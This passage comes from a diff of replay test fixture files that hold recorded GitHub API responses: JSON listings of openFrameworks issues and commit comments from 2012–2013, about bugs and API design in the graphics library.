which takes an array of `ofVec2f` and calculates the centroid. it is not static, rather it overwrites its own `x` and `y` with the average. \r\n\r\nthis is a little weird. `average` should be static, or at least be *returning* the average rather than assigning to self."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/955","id":3367910,"number":955,"title":"ofBackgroundGradient needs to be billboarded","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-02-24T04:31:01Z","updated_at":"2012-12-28T11:32:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now if you try and scale/rotate/etc before calling ofBackgroundGradient, it will fail.\r\n\r\npeople generally call ofBackground at the top of draw() so it shouldn't be a huge issue... but it does make it a little 'fragile'."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/933","id":3357855,"number":933,"title":"Problem with moviePlayerExample under linux64","user":{"login":"agrosjea","id":1466085,"avatar_url":"https://secure.gravatar.com/avatar/e52c167621119d58d03c586bb053a633?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e52c167621119d58d03c586bb053a633","url":"https://api.github.com/users/agrosjea","html_url":"https://github.com/agrosjea","followers_url":"https://api.github.com/users/agrosjea/followers","following_url":"https://api.github.com/users/agrosjea/following","gists_url":"https://api.github.com/users/agrosjea/gists{/gist_id}","starred_url":"https://api.github.com/users/agrosjea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/agrosjea/subscriptions","organizations_url":"https://api.github.com/users/agrosjea/orgs","repos_url":"https://api.github.com/users/agrosjea/repos","events_url":"https://api.github.com/users/agrosjea/events{/privacy}","received_events_url":"https://api.github.com/users/agrosjea/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-02-23T15:46:06Z","updated_at":"2012-02-23T19:12:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hello, I get a weird error trying to compile the movieplayerexample under linux64 :\r\n\r\n> `.text._ZN11ofBaseVideoD2Ev' referenced in section `.text._ZN11ofBaseVideoD1Ev[non-virtual thunk to ofBaseVideo::~ofBaseVideo()]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o): defined in discarded section `.text._ZN11ofBaseVideoD2Ev[_ZN11ofBaseVideoD5Ev]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o)\r\n\r\nMy version of OF is 007, it used to work under 0062...\r\n\r\nWhat should I do ?\r\n\r\nThanks"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/931","id":3351646,"number":931,"title":"ofCamera is not aware of ofOrientation","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":30,"created_at":"2012-02-23T05:13:24Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/930","id":3351643,"number":930,"title":"ofSetupPerspective ofOrientation","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-23T05:12:47Z","updated_at":"2012-02-23T05:12:47Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"do we need the ofOrientation parameter in ofSetupPerspective?\r\n\r\nit applies the rotation but if ofSetOrientation hasn't been called before passing the same orientation the results are not the expected.\r\n\r\nto test it:\r\n\r\nofSetOrientation(OF_ORIENTATION_90_LEFT);\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\nworks as expected but calling only \r\n\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\napplies a weird rotation cause the values of ofGetWidth(), ofGetHeight() are still the default ones\r\n\r\nis there any case where it's useful to call setupPerspective with a different orientation that the window has?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/929","id":3351374,"number":929,"title":"ofGetLogLevel should also accept modules","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-23T04:19:48Z","updated_at":"2012-02-23T04:19:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently ofGetLogLevel returns the global log level aka for the \"OF\" module. It would be nice to be able to get the log level for user modules via:\r\n\r\n ofLogLevel level = ofGetLogLevel(\"myLogModule\");\r\n\r\nIt would as simple as adding the module as a string variable with a default of \"OF\".\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/928","id":3351170,"number":928,"title":"no ofGetBackground()","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-23T03:46:32Z","updated_at":"2012-02-23T03:46:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently there is a ofBgColorPtr(), but maybe it's nice to have a ofGetBackground() that returns an ofColor object or a reference to one."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/926","id":3341020,"number":926,"title":"ofGetViewportWidth/Height returns 0 at startup","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-22T19:12:56Z","updated_at":"2012-02-22T19:12:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofGetViewportWidth/Height returns 0 is called in an object destructor, while ofGetWidth/Height do not. Could the ofGetViewport size be set to the ofGetWidth/Height size instead of 0 be default?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/925","id":3324501,"number":925,"title":"ofImage has type as int, public vars, & missing getBPP, etc","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-22T00:28:08Z","updated_at":"2012-02-22T00:28:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I noticed a few things when working with ofImage:\r\n\r\n* ofImage has a type variable for the image type but this is an int, as opposed to the ofImageType enum, so it's annoying to force convert ...\r\n* the width, height, & bpp variables are public, they should be protected with getters/setters\r\n* there isn't a getBytesPerPixel, you have to get the pixel reference then call getBytesPerPixel ..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/920","id":3248309,"number":920,"title":"Transform stack","user":{"login":"AugusteBonnin","id":1442658,"avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","url":"https://api.github.com/users/AugusteBonnin","html_url":"https://github.com/AugusteBonnin","followers_url":"https://api.github.com/users/AugusteBonnin/followers","following_url":"https://api.github.com/users/AugusteBonnin/following","gists_url":"https://api.github.com/users/AugusteBonnin/gists{/gist_id}","starred_url":"https://api.github.com/users/AugusteBonnin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AugusteBonnin/subscriptions","organizations_url":"https://api.github.com/users/AugusteBonnin/orgs","repos_url":"https://api.github.com/users/AugusteBonnin/repos","events_url":"https://api.github.com/users/AugusteBonnin/events{/privacy}","received_events_url":"https://api.github.com/users/AugusteBonnin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-16T09:39:46Z","updated_at":"2012-02-16T09:39:46Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"What about having our own transform stack , in order to:\r\n-avoid to recompute globalTransformMatrix in each ofNode\r\n-could use it when rendering with OpenGL ES 2.0 shaders , which do not support predefined matrix values as world (modelview), worldProjection , or world inverseTranspose (for normals)"}] - diff --git a/tests/ReplayData/PaginatedList.testCustomPerPageWithNoUrlParams2.txt b/tests/ReplayData/PaginatedList.testCustomPerPageWithNoUrlParams2.txt index 2d7bb6dfa9..8a4aad010e 100644 --- a/tests/ReplayData/PaginatedList.testCustomPerPageWithNoUrlParams2.txt +++ b/tests/ReplayData/PaginatedList.testCustomPerPageWithNoUrlParams2.txt @@ -41,4 +41,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4873'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '41072'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 19 Jun 2013 09:59:24 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="first", ; rel="prev"'), ('etag', '"0f8eacc05056152f14ecb311a50a7081"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 19 Jun 2013 10:31:36 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3008052","html_url":"https://github.com/openframeworks/openFrameworks/commit/f85ba9b28faeb75ddb649bd45758166d707c6c56#commitcomment-3008052","id":3008052,"user":{"login":"LeoColomb","id":846943,"avatar_url":"https://secure.gravatar.com/avatar/d38889330c0d923ab07c3566f0c02c14?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d38889330c0d923ab07c3566f0c02c14","url":"https://api.github.com/users/LeoColomb","html_url":"https://github.com/LeoColomb","followers_url":"https://api.github.com/users/LeoColomb/followers","following_url":"https://api.github.com/users/LeoColomb/following{/other_user}","gists_url":"https://api.github.com/users/LeoColomb/gists{/gist_id}","starred_url":"https://api.github.com/users/LeoColomb/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LeoColomb/subscriptions","organizations_url":"https://api.github.com/users/LeoColomb/orgs","repos_url":"https://api.github.com/users/LeoColomb/repos","events_url":"https://api.github.com/users/LeoColomb/events{/privacy}","received_events_url":"https://api.github.com/users/LeoColomb/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f85ba9b28faeb75ddb649bd45758166d707c6c56","created_at":"2013-04-14T14:19:35Z","updated_at":"2013-04-14T14:19:35Z","body":"So I remove it in 45cea8a ."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3093644","html_url":"https://github.com/openframeworks/openFrameworks/commit/09d269e069dc8d9240a868e8247f416ce4607bbc#commitcomment-3093644","id":3093644,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"09d269e069dc8d9240a868e8247f416ce4607bbc","created_at":"2013-04-26T09:34:28Z","updated_at":"2013-04-26T09:34:28Z","body":"@arturoc what problem does this fix? I'm asking because there is a rising amount of thread about CB problems on the forum, I wonder if some of those would be fixed with this. \r\nAlso, `execution_dir` has a user-specific path (`/home/arturo/...`), is that correct?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3093671","html_url":"https://github.com/openframeworks/openFrameworks/commit/09d269e069dc8d9240a868e8247f416ce4607bbc#commitcomment-3093671","id":3093671,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"09d269e069dc8d9240a868e8247f416ce4607bbc","created_at":"2013-04-26T09:40:08Z","updated_at":"2013-04-26T09:40:08Z","body":"no it'2 not correct, thanks. this fixes the new location of makefiles where the cbp and the makefile are not in the same directory anymore"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3216263","html_url":"https://github.com/openframeworks/openFrameworks/commit/5564ad9b3f7efa00c8939409f2b3653d82e9e34e#commitcomment-3216263","id":3216263,"user":{"login":"LeoColomb","id":846943,"avatar_url":"https://secure.gravatar.com/avatar/d38889330c0d923ab07c3566f0c02c14?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d38889330c0d923ab07c3566f0c02c14","url":"https://api.github.com/users/LeoColomb","html_url":"https://github.com/LeoColomb","followers_url":"https://api.github.com/users/LeoColomb/followers","following_url":"https://api.github.com/users/LeoColomb/following{/other_user}","gists_url":"https://api.github.com/users/LeoColomb/gists{/gist_id}","starred_url":"https://api.github.com/users/LeoColomb/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LeoColomb/subscriptions","organizations_url":"https://api.github.com/users/LeoColomb/orgs","repos_url":"https://api.github.com/users/LeoColomb/repos","events_url":"https://api.github.com/users/LeoColomb/events{/privacy}","received_events_url":"https://api.github.com/users/LeoColomb/received_events","type":"User"},"position":9,"line":10,"path":"scripts/dev/create_package.sh","commit_id":"5564ad9b3f7efa00c8939409f2b3653d82e9e34e","created_at":"2013-05-15T10:30:18Z","updated_at":"2013-05-15T10:30:18Z","body":"I'm not sure, but is it not supposed to compile develop branch from `openframeworks/openFrameworks`? "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3431119","html_url":"https://github.com/openframeworks/openFrameworks/commit/39ca3785538ed4a027ea3ac7db23d92dbed4231c#commitcomment-3431119","id":3431119,"user":{"login":"diasbruno","id":362368,"avatar_url":"https://secure.gravatar.com/avatar/2d1142788375ac52dde09815838a0710?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2d1142788375ac52dde09815838a0710","url":"https://api.github.com/users/diasbruno","html_url":"https://github.com/diasbruno","followers_url":"https://api.github.com/users/diasbruno/followers","following_url":"https://api.github.com/users/diasbruno/following{/other_user}","gists_url":"https://api.github.com/users/diasbruno/gists{/gist_id}","starred_url":"https://api.github.com/users/diasbruno/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/diasbruno/subscriptions","organizations_url":"https://api.github.com/users/diasbruno/orgs","repos_url":"https://api.github.com/users/diasbruno/repos","events_url":"https://api.github.com/users/diasbruno/events{/privacy}","received_events_url":"https://api.github.com/users/diasbruno/received_events","type":"User"},"position":5,"line":41,"path":"libs/openFrameworks/utils/ofUtils.h","commit_id":"39ca3785538ed4a027ea3ac7db23d92dbed4231c","created_at":"2013-06-15T10:55:42Z","updated_at":"2013-06-15T10:55:42Z","body":"hey @bakercp, should ofLaunchBrowser return bool?\r\n\r\n```\r\nif (ofLaunchBrowser(url)) {...}\r\nelse { /* failed to launch the browser. */ }\r\n```\r\n\r\nunfortunately, i lost this patch when i clean up my oF repo. sorry..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3431260","html_url":"https://github.com/openframeworks/openFrameworks/commit/39ca3785538ed4a027ea3ac7db23d92dbed4231c#commitcomment-3431260","id":3431260,"user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"position":5,"line":41,"path":"libs/openFrameworks/utils/ofUtils.h","commit_id":"39ca3785538ed4a027ea3ac7db23d92dbed4231c","created_at":"2013-06-15T12:19:54Z","updated_at":"2013-06-15T12:19:54Z","body":"It seems like a good idea to me if you can figure out a good way to consistently return success across platforms. Perhaps POCO's processes wrappers could help 